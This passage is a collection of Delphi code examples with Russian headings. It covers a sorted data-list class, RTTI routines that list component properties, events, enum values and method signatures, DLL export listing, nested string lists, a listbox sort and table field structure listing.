    procedure InsertItem(Index: integer; D: TData; O: TObject);
    procedure SetSorted(Value: boolean);
  protected
    function GetCapacity: integer;
    function GetData(Index: integer): TData;
    function GetObject(Index: integer): pointer {TObject};
    function GetSeqNo(Index: integer): cardinal;
    procedure PutData(Index: integer; D: TData);
    procedure PutObject(Index: integer; O: pointer {TObject});
    procedure SetCapacity(NewCapacity: integer);
  public
    destructor Destroy; override;
    function Add(D: TData; O: TObject): integer; virtual;
    procedure Clear; virtual;
    procedure Delete(Index: integer); virtual;
    procedure Exchange(Index1, Index2: integer); virtual;
    function FindFirstGE(D: TData; var Index: integer): boolean; virtual;
    function FindLastLE(D: TData; var Index: integer): boolean; virtual;
    function FindFirstCount(D: TData; var Index: integer): integer; virtual;
    function FindLastCount(D: TData; var Index: integer): integer; virtual;
    function IndexOfData(D: TData): integer; virtual;
    function IndexOfObject(O: TObject): integer; virtual;
    function IndexOfSeqNo(SN: cardinal): integer; virtual;
    procedure Insert(Index: integer; D: TData; O: TObject); virtual;
    procedure Sort; virtual;
    property Data[Index: integer]: TData read GetData write PutData;
    property Objects[Index: integer]: pointer {TObject} read GetObject write
      PutObject;
    property SeqNo[Index: integer]: cardinal read GetSeqNo;
    property Count: integer read FCount;
    property Duplicates: boolean read FDuplicates write FDuplicates;
    property Sorted: boolean read FSorted write SetSorted;
  end;
implementation
{ TDataList }
destructor TDataList.Destroy;
begin
  ;
  inherited Destroy;
  FCount := 0;
  SetCapacity(0);
  FSeqCount := 0;
end;
function TDataList.Add(D: TData; O: TObject): integer;
begin
  ;
  if FSorted then
    if FindLastLE(D, Result) then
      if FDuplicates then
        inc(Result)
      else
        Result := -1 - Result // Can't add duplicate
    else
      inc(Result)
  else
    Result := FCount;
  if Result >= 0 then
    InsertItem(Result, D, O);
end;
procedure TDataList.Clear;
begin
  ;
  if FCount <> 0 then
  begin
    ;
    FCount := 0;
    SetCapacity(0);
    FSeqCount := 0;
  end;
end;
procedure TDataList.Delete(Index: integer);
begin
  ;
  if (Index >= 0) and (Index < FCount) then
  begin
    ;
    dec(FCount);
    if Index < FCount then
      System.Move(
        FList^[Index + 1], FList^[Index], (FCount - Index) * SizeOf(TDataItem));
  end;
end;
procedure TDataList.Exchange(Index1, Index2: integer);
begin
  ;
  if (not FSorted) and (Index1 >= 0) and (Index1 < FCount) and (Index2 >= 0) and
    (Index2 < FCount) then
    ExchangeItems(Index1, Index2);
end;
procedure TDataList.ExchangeItems(Index1, Index2: integer);
var
  Item1, Item2: PDataItem;
  Temp: TDataItem;
begin
  ;
  Item1 := @FList^[Index1];
  Item2 := @FList^[Index2];
  Temp := Item1^;
  Item1^ := Item2^;
  Item2^ := Temp;
end;
function TDataList.GetCapacity: integer;
begin
  ;
  Result := FCapacity;
end;
function TDataList.GetData(Index: integer): TData;
begin
  ;
  if (Index < 0) or (Index >= FCount) then
    Result := 0
  else
    Result := FList^[Index].FData;
end;
function TDataList.GetObject(Index: integer): pointer {TObject};
begin
  ;
  if (Index < 0) or (Index >= FCount) then
    Result := nil
  else
    Result := FList^[Index].FObject;
end;
function TDataList.GetSeqNo(Index: integer): cardinal;
begin
  ;
  if (Index < 0) or (Index >= FCount) then
    Result := 0
  else
    Result := FList^[Index].FSeqNo;
end;
procedure TDataList.Grow;
var
  Delta: integer;
begin
  ;
  if FCapacity > 64 then
    Delta := FCapacity div 4
  else
    Delta := 16;
  SetCapacity(FCapacity + Delta);
end;
function TDataList.IndexOfData(D: TData): integer;
begin
  ;
  if FSorted then
    if FindFirstGE(D, Result) then {found}
    else
      Result := -1
  else
  begin
    ;
    Result := 0;
    while (Result < FCount) and (D <> FList^[Result].FData) do
      inc(Result);
    if Result >= FCount then
      Result := -1;
  end;
end;
function TDataList.IndexOfObject(O: TObject): integer;
begin
  ;
  Result := 0;
  while (Result < FCount) and (O <> FList^[Result].FObject) do
    inc(Result);
  if Result >= FCount then
    Result := -1;
end;
function TDataList.IndexOfSeqNo(SN: cardinal): integer;
begin
  ;
  Result := 0;
  while (Result < FCount) and (SN <> FList^[Result].FSeqNo) do
    inc(Result);
  if Result >= FCount then
    Result := -1;
end;
procedure TDataList.Insert(Index: integer; D: TData; O: TObject);
begin
  ;
  if (not FSorted) and (Index >= 0) and (Index < FCount) then
    InsertItem(Index, D, O);
end;
procedure TDataList.InsertItem(Index: integer; D: TData; O: TObject);
begin
  ;
  if FCount = FCapacity then
    Grow;
  if Index < FCount then
    System.Move(FList^[Index], FList^[Index + 1], (FCount - Index) *
      SizeOf(TDataItem));
  with FList^[Index] do
  begin
    ;
    FData := D;
    FObject := O;
    FSeqNo := FSeqCount;
  end;
  inc(FCount);
  inc(FSeqCount);
end;
procedure TDataList.PutData(Index: integer; D: TData);
begin
  ;
  if (not FSorted) and (Index >= 0) and (Index < FCount) then
    FList^[Index].FData := D;
end;
procedure TDataList.PutObject(Index: integer; O: pointer {TObject});
begin
  ;
  if (Index >= 0) and (Index < FCount) then
    FList^[Index].FObject := O;
end;
procedure TDataList.SetCapacity(NewCapacity: integer);
begin
  ;
  ReallocMem(FList, NewCapacity * SizeOf(TDataItem));
  FCapacity := NewCapacity;
end;
function FindDataCompare(PDI1, PDI2: PDataItem): integer;
begin
  ;
  Result := 0;
  if PDI1^.FData < PDI2^.FData then
    dec(Result)
  else if PDI1^.FData > PDI2^.FData then
    inc(Result);
end;
function TDataList.FindFirstGE(D: TData; var Index: integer): boolean;
var
  i, j, t, c: integer;
begin
  ;
  Result := false;
  i := -1; // Index of the element less than D
  j := FCount - 1;
  if FSorted then
    while i < j do
    begin
      ;
      t := (i + j + 1) shr 1; // Round to right
      c := FindDataCompare(@FList^[t].FData, @D);
      if c < 0 then
        i := t
      else
      begin
        ;
        j := t - 1;
        if c = 0 then
          Result := true;
      end;
    end;
  Index := i + 1;
end;
function TDataList.FindLastLE(D: TData; var Index: integer): boolean;
var
  i, j, t, c: integer;
begin
  ;
  Result := false;
  i := 0;
  j := FCount; // Index of the element greater than D
  if FSorted then
    while i < j do
    begin
      ;
      t := (i + j) shr 1; // Round to left
      c := FindDataCompare(@FList^[t].FData, @D);
      if c > 0 then
        j := t
      else
      begin
        ;
        i := t + 1;
        if c = 0 then
          Result := true;
      end;
    end;
  Index := j - 1;
end;
function TDataList.FindFirstCount(D: TData; var Index: integer): integer;
begin
  ;
  if FindFirstGE(D, Index) then
  begin
    ;
    Result := 1;
    while FindDataCompare(@FList^[Index + Result].FData, @D) = 0 do
      inc(Result);
  end
  else
    Result := 0;
end;
function TDataList.FindLastCount(D: TData; var Index: integer): integer;
begin
  ;
  if FindLastLE(D, Index) then
  begin
    ;
    Result := 1;
    while FindDataCompare(@FList^[Index - Result].FData, @D) = 0 do
      inc(Result);
  end
  else
    Result := 0;
end;
function SortDataCompare(PDI1, PDI2: PDataItem): integer;
begin
  ;
  Result := 0;
  if PDI1^.FData < PDI2^.FData then
    dec(Result)
  else if PDI1^.FData > PDI2^.FData then
    inc(Result)
      // Compare duplicates
  else if PDI1^.FSeqNo < PDI2^.FSeqNo then
    dec(Result)
  else if PDI1^.FSeqNo > PDI2^.FSeqNo then
    inc(Result);
end;
procedure TDataList.QuickSort(l, r: integer; Compare: TDataCompare);
var
  i, j, p: integer;
begin
  ;
  repeat;
    i := l;
    j := r;
    p := (i + j) shr 1;
    repeat;
      while Compare(@FList^[i], @FList^[p]) < 0 do
        inc(i);
      while Compare(@FList^[p], @FList^[j]) < 0 do
        dec(j);
      if i <= j then
      begin
        ;
        ExchangeItems(i, j);
        if p = i then
          p := j
        else if p = j then
          p := i;
        inc(i);
        dec(j);
      end;
    until i > j;
    if l < j then
      QuickSort(l, j, Compare);
    l := i;
  until i >= r;
end;
procedure TDataList.Sort;
begin
  if (not FSorted) and (FCount > 1) then
    QuickSort(0, FCount - 1, SortDataCompare);
end;
procedure TDataList.SetSorted(Value: boolean);
begin
  if FSorted <> Value then
  begin
    if Value then
      Sort;
    FSorted := Value;
  end;
end;
end.

Отобразить все свойства и события компонента.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

uses
   TypInfo;
 procedure ListComponentProperties(Component: TComponent; Strings: TStrings);
 var
   Count, Size, I: Integer;
   List: PPropList;
   PropInfo: PPropInfo;
   PropOrEvent, PropValue: string;
 begin
   Count := GetPropList(Component.ClassInfo, tkAny, nil);
   Size  := Count * SizeOf(Pointer);
   GetMem(List, Size);
   try
     Count := GetPropList(Component.ClassInfo, tkAny, List);
     for I := 0 to Count - 1 do
     begin
       PropInfo := List^[I];
       if PropInfo^.PropType^.Kind in tkMethods then
         PropOrEvent := 'Event'
       else
         PropOrEvent := 'Property';
       PropValue := VarToStr(GetPropValue(Component, PropInfo^.Name));
       Strings.Add(Format('[%s] %s: %s = %s', [PropOrEvent, PropInfo^.Name,
         PropInfo^.PropType^.Name, PropValue]));
     end;
   finally
     FreeMem(List);
   end;
 end;
 // Example: List all Properties/Events from Button1 in a TListBox 
procedure TForm1.Button1Click(Sender: TObject);
 begin
   ListComponentProperties(Button1, ListBox1.Items);
 end;

Получить экспортируемые из DLL функции.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

uses
   ImageHlp;
 procedure ListDLLExports(const FileName: string; List: TStrings);
 type
   TDWordArray = array [0..$FFFFF] of DWORD;
 var
   imageinfo: LoadedImage;
   pExportDirectory: PImageExportDirectory;
   dirsize: Cardinal;
   pDummy: PImageSectionHeader;
   i: Cardinal;
   pNameRVAs: ^TDWordArray;
   Name: string;
 begin
   List.Clear;
   if MapAndLoad(PChar(FileName), nil, @imageinfo, True, True) then
   begin
     try
       pExportDirectory := ImageDirectoryEntryToData(imageinfo.MappedAddress,
         False, IMAGE_DIRECTORY_ENTRY_EXPORT, dirsize);
       if (pExportDirectory <> nil) then
       begin
         pNameRVAs := ImageRvaToVa(imageinfo.FileHeader, imageinfo.MappedAddress,
           DWORD(pExportDirectory^.AddressOfNames), pDummy);
         for i := 0 to pExportDirectory^.NumberOfNames - 1 do
         begin
           Name := PChar(ImageRvaToVa(imageinfo.FileHeader, imageinfo.MappedAddress,
             pNameRVAs^[i], pDummy));
           List.Add(Name);
         end;
       end;
     finally
       UnMapAndLoad(@imageinfo);
     end;
   end;
 end;
 procedure TForm1.Button1Click(Sender: TObject);
 var
   List: TStrings;
   i: Integer;
   s: string;
 begin
   List := TStringList.Create;
   try
     ListDLLExports('C:\WINDOWS\SYSTEM32\browseui.dll', List);
     ShowMessage(IntToStr(list.Count) + ' functions in dll');
     s := 'List of functions:';
     for i := 0 to List.Count - 1 do
       s := s + #13#10+List[i];
     ShowMessage(S);
   finally
     List.Free
   end;
 end;

Получить список свойств перечисляемого типа и список их значений.

Статьи по Delphi (011)…
unit ListForm;
interface
uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  StdCtrls, ExtCtrls;
type
  TForm1 = class(TForm)
    ListBox1: TListBox;
    Panel1: TPanel;
    ComboBox1: TComboBox;
    procedure ComboBox1Change(Sender: TObject);
    procedure ListBox1Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
  private
    SelPropName: string;
  end;
var
  Form1: TForm1;
implementation
{$R *.DFM}
uses
  TypInfo;
procedure TForm1.ComboBox1Change(Sender: TObject);
var
  PropInfo: PPropInfo;
  ptd: PTypeData;
  I: Integer;
  PropValue: Integer;
begin
  // set the name of the current property
  if ComboBox1.Text <> '' then
    SelPropName := ComboBox1.Text;
  // add to the listbox the values
  // of the enumerated type
  ListBox1.Items.Clear;
  PropInfo := GetPropInfo (
    ClassInfo, SelPropName);
    // Note: ClassInfo refers to the form, self
  ptd := GetTypeData (PropInfo.PropType^);
  // list the values
  for I := ptd.MinValue to ptd.MaxValue do
    ListBox1.Items.Add (GetEnumName (
      PropInfo.PropType^, I));
  // select the current value
  PropValue := GetOrdProp (self, PropInfo);
  ListBox1.ItemIndex := ptd.MinValue + PropValue;
end;
procedure TForm1.ListBox1Click(Sender: TObject);
var
  PropInfo: PPropInfo;
  ptd: PTypeData;
  itemIndex: Integer;
begin
  if SelPropName <> '' then
  begin
    PropInfo := GetPropInfo (
      ClassInfo, SelPropName);
    // Note: ClassInfo refers to the form, self
    ptd := GetTypeData(PropInfo.PropType^);
    // save combo box index
    itemIndex := ComboBox1.ItemIndex;
    // select the current value
    SetOrdProp (self, PropInfo,
      ListBox1.ItemIndex - ptd.MinValue);
    // restore combo box index
    ComboBox1.OnChange  := nil;
    ComboBox1.ItemIndex := itemIndex;
    ComboBox1.OnChange  := ComboBox1Change;
  end;
end;
procedure TForm1.FormCreate(Sender: TObject);
var
  pProps: PPropList;
  nTotProps, nProps, I: Integer;
begin
  // set the initial value
  SelPropName := '';
  // get the total number of properties
  nTotProps := GetTypeData(ClassInfo).PropCount;
  // allocate the required memory
  GetMem (pProps, sizeof (PPropInfo) * nTotProps);
  // protect the memory allocation
  try
    // fill the pProps with a filtered list
    nProps := GetPropList (ClassInfo,
      [tkEnumeration], pProps);
    // fill the combo box
    for I := 0 to nProps - 1 do
      ComboBox1.Items.Add (pProps[I].Name);
  finally
    // free the allocated memmory
    FreeMem (pProps, sizeof (PPropInfo) * nTotProps);
  end;
end;
end.

Загрузить весь проект

Получить список событий и их описание.

Статьи по Delphi (011)…
unit MethForm;
interface
uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  StdCtrls, TypInfo, ExtCtrls;
type
  TForm1 = class(TForm)
    Listbox1: TListBox;
    ListBox2: TListBox;
    Splitter1: TSplitter;
    procedure Listbox1Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
  public
    procedure AddType (pti: PTypeInfo);
  end;
  procedure ShowMethod (pti: PTypeInfo; sList: TStrings);
var
  Form1: TForm1;
implementation
{$R *.DFM}
procedure TForm1.Listbox1Click(Sender: TObject);
var
  pti: PTypeInfo;
begin
  pti := PTypeInfo (ListBox1.Items.Objects [
    Listbox1.ItemIndex]);
  ListBox2.Items.Clear;
  ShowMethod (pti, ListBox2.Items);
end;
type
  TParamData = record
    Flags: TParamFlags;
    ParamName: ShortString;
    TypeName: ShortString;
    // beware: string length varies!!!
  end;
  PParamData = ^TParamData;
// show RTTI information for method pointers
procedure ShowMethod (pti: PTypeInfo; sList: TStrings);
var
  ptd: PTypeData;
  pParam: PParamData;
  nParam: Integer;
  Line: string;
  pTypeString, pReturnString: ^ShortString;
begin
  // protect against misuse
  if pti^.Kind <> tkMethod then
    raise Exception.Create ('Invalid type information');
  // get a pointer to the TTypeData structure
  ptd := GetTypeData (pti);
  // 1: access the TTypeInfo structure
  sList.Add ('Type Name: ' + pti^.Name);
  sList.Add ('Type Kind: ' + GetEnumName (
    TypeInfo (TTypeKind),
    Integer (pti^.Kind)));
  // 2: access the TTypeData structure
  sList.Add ('Method Kind: ' + GetEnumName (
    TypeInfo (TMethodKind),
    Integer (ptd^.MethodKind)));
  sList.Add ('Number of parameters: ' +
    IntToStr (ptd^.ParamCount));
  // 3: access to the ParamList
  // get the initial pointer and
  // reset the parameters counter
  pParam := PParamData (@(ptd^.ParamList));
  nParam := 1;
  // loop until all parameters are done
  while nParam <= ptd^.ParamCount do
  begin
    // read the information
    Line := 'Param ' + IntToStr (nParam) + ' > ';
    // add type of parameter
    if pfVar in pParam^.Flags then
      Line := Line + 'var ';
    if pfConst in pParam^.Flags then
      Line := Line + 'const ';
    if pfOut in pParam^.Flags then
      Line := Line + 'out ';
    // get the parameter name
    Line := Line + pParam^.ParamName + ': ';
    // one more type of parameter
    if pfArray in pParam^.Flags then
      Line := Line + ' array of ';
    // the type name string must be located...
    // moving a pointer past the params and
    // the string (including its size byte)
    pTypeString := Pointer (Integer (pParam) +
      sizeof (TParamFlags) +
      Length (pParam^.ParamName) + 1);
    // add the type name
    Line := Line + pTypeString^;
    // finally, output the string
    sList.Add (Line);
    // move the pointer to the next structure,
    // past the two strings (including size byte)
    pParam := PParamData (Integer (pParam) +
      sizeof (TParamFlags) +
      Length (pParam^.ParamName) + 1 +
      Length (pTypeString^) + 1);
    // increase the parameters counter
    Inc (nParam);
  end;
  // show the return type if a function
  if ptd^.MethodKind = mkFunction then
  begin
    // at the end, instead of a param data,
    // there is the return string
    pReturnString := Pointer (pParam);
    sList.Add ('Returns > ' + pReturnString^);
  end;
end;
procedure TForm1.AddType (pti: PTypeInfo);
begin
  ListBox1.Items.AddObject(pti^.Name, TObject (pti))
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
  AddType (TypeInfo (TNotifyEvent));
  AddType (TypeInfo (TFindMethodEvent));
  AddType (TypeInfo (THelpEvent));
  AddType (TypeInfo (TSetNameEvent));
  AddType (TypeInfo (TDragDropEvent));
  AddType (TypeInfo (TDrawItemEvent));
  AddType (TypeInfo (TMeasureItemEvent));
  AddType (TypeInfo (TScrollEvent));
  AddType (TypeInfo (TDragOverEvent));
  AddType (TypeInfo (TEndDragEvent));
  AddType (TypeInfo (TKeyEvent));
  AddType (TypeInfo (TKeyPressEvent));
  AddType (TypeInfo (TMouseEvent));
  AddType (TypeInfo (TMouseMoveEvent));
  AddType (TypeInfo (TStartDragEvent));
  AddType (TypeInfo (TCloseEvent));
  AddType (TypeInfo (TCloseQueryEvent));
  AddType (TypeInfo (TExceptionEvent));
  AddType (TypeInfo (TIdleEvent));
  AddType (TypeInfo (TMessageEvent));
  AddType (TypeInfo (TShowHintEvent));
end;
end.

Загрузить весь проект

Создание списка списков (TStringList).

Как мне создать TStringList, содержащий в строке имя объекта, и сам объект TStringList?

TStringList имеет возможность хранить для каждой строки свой указатель: см. свойство Objects. Чтобы понять принцип работы с указателями, смотри в электронной справке описание метода TStringList AddObject. Вот пример работы с методом:

StringList1.AddObject('Имя списка', TStringList.Create); 
ПРЕДУПРЕЖДЕНИЕ: Delphi не удаляет эти объекты. Вы должны позаботиться об этом сами.

Вы можете получить доступ к связанному stringlist, назначая его переменной TStringList:

TempStringList := TStringList(StringList1.Objects[index]); 

Приведенный ниже код правильно компилируется, правильно выполняется и правильно демонстрирует все вышесказанное. Form1 имеет только один компонент Label.

unit Unit1;
interface
uses
  SysUtils, WinTypes, WinProcs, Messages, Classes, Graphics, Controls,
  Forms, Dialogs, Grids, StdCtrls;
type
  TForm1 = class(TForm)
    Label1: TLabel;
    procedure FormCreate(Sender: TObject);
    procedure FormDestroy(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
    StringList1, TempStringList: TStringList;
  end;
var
  Form1: TForm1;
implementation
{$R *.DFM}
procedure TForm1.FormCreate(Sender: TObject);
begin
  StringList1 := TStringList.Create;
  StringList1.AddObject('имя', TSTringList.Create);
  TempStringList := TStringList(StringList1.Objects[0]);
  TempStringList.Add('Привет');
  Label1.Caption := TempStringList[0];
end;
procedure TForm1.FormDestroy(Sender: TObject);
var
  i: Longint;
begin
  for i := 0 to StringList1.Count - 1 do
  begin
    TempStringList := TStringList(StringList1.Objects[i]);
    TempStringList.Free;
  end;
end;
end.

Сортировать список по алфавиту.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

{ 
 You need a TListBox and a TButton. 
 With a few modifications, you can use it with any variable 
 compatible with a TStringList. 
 If you change the operator "<"  for a ">" in the 'if' clause 
 below, the order will be reversed 
}
 procedure TForm1.Button1Click(Sender: TObject);
 var
   i, x: Integer;
 begin
   for i := 0 to (ListBox1.Items.Count - 1) do
     for x := 0 to (ListBox1.Items.Count - 1) do
       if (ListBox1.Items[x] < ListBox1.Items[i]) and (x > i) then
       begin
         ListBox1.Items.Insert(i, ListBox1.Items[x]);
         ListBox1.Items.Delete(x + 1);
       end;
 end;

Список структуры полей таблицы.

В данном проекте создается список структуры полей соответствующей таблицы, с использованием массивов Fields и IndexDefs, который затем отображается в компоненте ListBox. Демонстрационный проект (dbbrowsr.dpr) решает эту задачу несколько иначе. Вы можете сравнить две версии этого кода.

Примечание: Данный код работает только в 16-битной среде.

procedure TForm1.Button1Click(Sender: TObject);
const
  MyFielddefs: array[ftUnknown..ftGraphic] of string[8] =
  ('Unknown', 'String', 'Smallint', 'Integer', 'Word',
    'Boolean', 'Float', 'Currency', 'BCD', 'Date',
    'Time', 'DateTime', 'Bytes', 'VarBytes', 'Blob',
    'Memo', 'Graphic');
var
  i, Indx: integer;
  Definition: string;
begin
  for i := 0 to Table1.FieldCount - 1 do
  begin
    Definition := Table1.Fields[i].DisplayLabel;
    Definition := Definition + ' ' +
      MyFieldDefs[Table1.Fields[i].DataType];
    Table1.IndexDefs.Update;
    if Table1.Fields[i].IsIndexField then
    begin
      Indx := Table1.IndexDefs.Indexof(Table1.Fields[i].Name);
      if Indx > -1 then
        if ixPrimary in Table1.IndexDefs[Indx].Options then
          Definition := Definition + ' (Первичный)';
    end;
    Listbox1.Items.Add(Definition);
  end;
end;

Приведенная выше версия не работает в 32-битной среде, поскольку в ней присутствуют дополнительные типы полей. Вот версия, которая работает в 32-битной среде:

procedure TForm1.Button1Click(Sender: TObject);
const
  MyFielddefs: array[ftUnknown..ftTypedBinary] of string[11] =
  ('Unknown', 'String', 'Smallint', 'Integer',
    'Word', 'Boolean', 'Float', 'Currency', 'BCD',
    'Date', 'Time', 'DateTime', 'Bytes', 'VarBytes',
    'AutoInc', 'Blob', 'Memo', 'Graphic', 'FmtMemo',
    'ParadoxOle', 'DBaseOle', 'TypedBinary');
var
  i, Indx: integer;
  Definition: string;
begin
  for i := 0 to Table1.FieldCount - 1 do
  begin
    Definition := Table1.Fields[i].DisplayLabel;
    Definition := Definition + ' ' +
      MyFieldDefs[Table1.Fields[i].DataType];
    Table1.IndexDefs.Update;
    if Table1.Fields[i].IsIndexField then
    begin
      Indx := Table1.IndexDefs.Indexof(Table1.Fields[i].Name);
      if Indx > -1 then
        if ixPrimary in Table1.IndexDefs[Indx].Options then
          Definition := Definition + ' (Первичный)';
    end;
    Listbox1.Items.Add(Definition);
  end;
end;

Получить список типов свойств и их описание.

Статьи по Delphi (011)…
unit OrdForm;
interface
uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  StdCtrls, TypInfo, ToolWin, ComCtrls, ExtCtrls, DdeMan, Menus, DBCtrls,
  DBTables, Db, checklst, Grids, Mask, Buttons, DBGrids, DBCGrids, FileCtrl,
  Outline, Tabnotbk, Tabs;
type
  TForm1 = class(TForm)
    Listbox1: TListBox;
    ListBox2: TListBox;
    Splitter1: TSplitter;
    procedure Listbox1Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
  private
    { Private declarations }
  public
    procedure AddType (pti: PTypeInfo);
    procedure AddToList (const S: String);
  end;
  procedure ShowOrdinal (pti: PTypeInfo; sList: TStrings);
  procedure ListEnum (pti: PTypeInfo; sList: TStrings);
var
  Form1: TForm1;
implementation
{$R *.DFM}
procedure TForm1.Listbox1Click(Sender: TObject);
var
  pti: PTypeInfo;
begin
  pti := PTypeInfo (ListBox1.Items.Objects [
    Listbox1.ItemIndex]);
  ListBox2.Items.Clear;
  ShowOrdinal (pti, ListBox2.Items);
  // special case: TColor
  if ListBox1.Items [ListBox1.ItemIndex] = 'TColor' then
  begin
    ListBox2.Items.Add ('');
    ListBox2.Items.Add ('Values...');
    GetColorValues (AddToList);
  end;
  // special case: TCursor
  if ListBox1.Items [ListBox1.ItemIndex] = 'TCursor' then
  begin
    ListBox2.Items.Add ('');
    ListBox2.Items.Add ('Values...');
    GetCursorValues (AddToList);
  end;
end;
procedure TForm1.AddToList (const S: String);
begin
  ListBox2.Items.Add (S);
end;
// show RTTI information for ordinal types
procedure ShowOrdinal (pti: PTypeInfo; sList: TStrings);
var
  ptd: PTypeData;
begin
  // protect against misuse
  if not (pti^.Kind in [tkInteger, tkChar,
      tkEnumeration, tkSet, tkWChar]) then
    raise Exception.Create ('Invalid type information');
  // get a pointer to the TTypeData structure
  ptd := GetTypeData (pti);
  // access the TTypeInfo structure
  sList.Add ('Type Name: ' + pti^.Name);
  sList.Add ('Type Kind: ' + GetEnumName (
    TypeInfo (TTypeKind),
    Integer (pti^.Kind)));
  // access the TTypeData structure
  sList.Add ('Implement: ' + GetEnumName (
    TypeInfo (TOrdType),
    Integer (ptd^.OrdType)));
  // a set has no min and max
  if pti^.Kind <> tkSet then
  begin
    sList.Add ('Min Value: ' + IntToStr (ptd^.MinValue));
    sList.Add ('Max Value: ' + IntToStr (ptd^.MaxValue));
  end;
  // add the enumeration base type
  // and the list of the values
  if pti^.Kind = tkEnumeration then
  begin
    sList.Add ('Base Type: ' + (ptd^.BaseType)^.Name);
    sList.Add ('');
    sList.Add ('Values...');
    ListEnum (pti, sList);
  end;
  // show RRTI info about set base type
  if  pti^.Kind = tkSet then
  begin
    sList.Add ('');
    sList.Add ('Set base type information...');
    ShowOrdinal (ptd.CompType^, sList);
  end;
end;
procedure ListEnum (pti: PTypeInfo; sList: TStrings);
var
  I: Integer;
begin
  with GetTypeData(pti)^ do
    for I := MinValue to MaxValue do
      sList.Add ('  ' + IntToStr (I) + '. ' +
        GetEnumName (pti, I));
end;
procedure TForm1.AddType (pti: PTypeInfo);
begin
  ListBox1.Items.AddObject(pti^.Name, TObject (pti))
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
  AddType (TypeInfo (Boolean));
  AddType (TypeInfo (Byte));
  AddType (TypeInfo (Cardinal));
  AddType (TypeInfo (Char));
  AddType (TypeInfo (Integer));
  AddType (TypeInfo (LongInt));
  AddType (TypeInfo (ShortInt));
  AddType (TypeInfo (SmallInt));
  AddType (TypeInfo (TAlign));
  AddType (TypeInfo (TAlignment));
  AddType (TypeInfo (TBatchMode));
  AddType (TypeInfo (TBevelShape));
  AddType (TypeInfo (TBevelStyle));
  AddType (TypeInfo (TBitBtnKind));
  AddType (TypeInfo (TBitmapHandleType));
  AddType (TypeInfo (TBlobStreamMode));
  AddType (TypeInfo (TBookmarkFlag));
  AddType (TypeInfo (TBorderIcon));
  AddType (TypeInfo (TBorderIcons));
  AddType (TypeInfo (TBorderStyle));
  AddType (TypeInfo (TBrushStyle));
  AddType (TypeInfo (TButtonLayout));
  AddType (TypeInfo (TButtonSet));
  AddType (TypeInfo (TButtonState));
  AddType (TypeInfo (TCanvasState));
  AddType (TypeInfo (TCanvasStates));
  AddType (TypeInfo (TCheckBoxState));
  AddType (TypeInfo (TCloseAction));
  AddType (TypeInfo (TColor));
  AddType (TypeInfo (TColorDialogOption));
  AddType (TypeInfo (TColorDialogOptions));
  AddType (TypeInfo (TColumnButtonStyle));
  AddType (TypeInfo (TColumnValue));
  AddType (TypeInfo (TColumnValues));
  AddType (TypeInfo (TComboBoxStyle));
  AddType (TypeInfo (TCommonAVI));
  AddType (TypeInfo (TComponentState));
  AddType (TypeInfo (TComponentStyle));
  AddType (TypeInfo (TConfigMode));
  AddType (TypeInfo (TConfigModes));
  AddType (TypeInfo (TConsistentAttribute));
  AddType (TypeInfo (TConsistentAttributes));
  AddType (TypeInfo (TControlState));
  AddType (TypeInfo (TControlStyle));
  AddType (TypeInfo (TCursor));
  AddType (TypeInfo (TDataAction));
  AddType (TypeInfo (TDatabaseEvent));
  AddType (TypeInfo (TDataEvent));
  AddType (TypeInfo (TDataSetState));
  AddType (TypeInfo (TDateTimeKind));
  AddType (TypeInfo (TDBCtrlGridBorder));
  AddType (TypeInfo (TDBCtrlGridKey));
  AddType (TypeInfo (TDBCtrlGridOrientation));
  AddType (TypeInfo (TDBGridColumnsState ));
  AddType (TypeInfo (TDBGridOption ));
  AddType (TypeInfo (TDBGridOptions ));
  AddType (TypeInfo (TDisplayCode ));
  AddType (TypeInfo (TDragMessage ));
  AddType (TypeInfo (TDragMode));
  AddType (TypeInfo (TDragState));
  AddType (TypeInfo (TDrawingStyle ));
  AddType (TypeInfo (TDropDownAlign ));
  AddType (TypeInfo (TDuplicates ));
  AddType (TypeInfo (TEditCharCase));
  AddType (TypeInfo (TFieldChars ));
  AddType (TypeInfo (TFieldKind ));
  AddType (TypeInfo (TFieldType ));
  AddType (TypeInfo (TFileAttr ));
  AddType (TypeInfo (TFilerFlags ));
  AddType (TypeInfo (TFileType ));
  AddType (TypeInfo (TFillMode ));
  AddType (TypeInfo (TFillStyle ));
  AddType (TypeInfo (TFilterOption ));
  AddType (TypeInfo (TFilterOptions ));
  AddType (TypeInfo (TFindItemKind ));
  AddType (TypeInfo (TFindOption ));
  AddType (TypeInfo (TFindOptions ));
  AddType (TypeInfo (TFontDialogDevice ));
  AddType (TypeInfo (TFontDialogOption ));
  AddType (TypeInfo (TFontDialogOptions ));
  AddType (TypeInfo (TFontPitch));
  AddType (TypeInfo (TFontStyle ));
  AddType (TypeInfo (TFontStyles ));
  AddType (TypeInfo (TFormBorderStyle ));
  AddType (TypeInfo (TFormState ));
  AddType (TypeInfo (TFormStyle ));
  AddType (TypeInfo (TGetMode ));
  AddType (TypeInfo (TGetResult ));
  AddType (TypeInfo (TGridDrawState ));
  AddType (TypeInfo (TGridOptions ));
  AddType (TypeInfo (TGridScrollDirection ));
  AddType (TypeInfo (THeaderSectionStyle ));
  AddType (TypeInfo (THelpContext));
  AddType (TypeInfo (THitTest ));
  AddType (TypeInfo (THitTests ));
  AddType (TypeInfo (THKInvalidKey ));
  AddType (TypeInfo (THKInvalidKeys ));
  AddType (TypeInfo (THKModifier ));
  AddType (TypeInfo (THKModifiers ));
  AddType (TypeInfo (TIconArrangement ));
  AddType (TypeInfo (TImageType ));
  AddType (TypeInfo (TImeMode ));
  AddType (TypeInfo (TIndexOptions ));
  AddType (TypeInfo (TIntfFlags ));
  AddType (TypeInfo (TItemChange ));
  AddType (TypeInfo (TItemState ));
  AddType (TypeInfo (TItemStates ));
  AddType (TypeInfo (TKeyIndex ));
  AddType (TypeInfo (TListArrangement ));
  AddType (TypeInfo (TListBoxStyle ));
  AddType (TypeInfo (TLoadResource ));
